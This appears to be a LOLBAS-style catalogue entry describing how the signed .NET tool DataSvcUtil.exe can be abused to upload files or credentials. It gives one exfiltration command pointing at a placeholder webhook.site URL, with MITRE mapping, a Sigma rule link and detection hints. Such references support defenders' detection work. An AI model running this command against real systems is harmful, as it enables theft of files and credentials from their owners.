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Name : DataSvcUtil.exe
Description : DataSvcUtil.exe is a command-line tool provided by WCF Data Services that consumes an Open Data Protocol (OData) feed and generates the client data service classes that are needed to access a data service from a .NET Framework client application.
Author : 'Ialle Teixeira'
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Created : 2020-12-01
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Commands :
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- Command : DataSvcUtil /out:C:\Windows\System32\calc.exe /uri:https://webhook.site/xxxxxxxxx?encodedfile
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Description : Upload file, credentials or data exfiltration in general
Usecase : Upload file
Category : Upload
Privileges : User
MitreID : T1567
OperatingSystem : Windows 10
Full_Path :
- Path : C:\Windows\Microsoft.NET\Framework64\v3.5\DataSvcUtil.exe
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Code_Sample :
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- Code : https://gist.github.com/teixeira0xfffff/837e5bfed0d1b0a29a7cb1e5dbdd9ca6
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Detection :
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- Sigma : https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_data_exfiltration_by_using_datasvcutil.yml
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- IOC : The DataSvcUtil.exe tool is installed in the .NET Framework directory.
- IOC : Preventing/Detecting DataSvcUtil with non-RFC1918 addresses by Network IPS/IDS.
- IOC : Monitor process creation for non-SYSTEM and non-LOCAL SERVICE accounts launching DataSvcUtil.
Resources :
- Link : https://docs.microsoft.com/en-us/dotnet/framework/data/wcf/wcf-data-service-client-utility-datasvcutil-exe
- Link : https://docs.microsoft.com/en-us/dotnet/framework/data/wcf/generating-the-data-service-client-library-wcf-data-services
- Link : https://docs.microsoft.com/en-us/dotnet/framework/data/wcf/how-to-add-a-data-service-reference-wcf-data-services
Acknowledgement :
- Person : Ialle Teixeira
Handle : '@NtSetDefault'
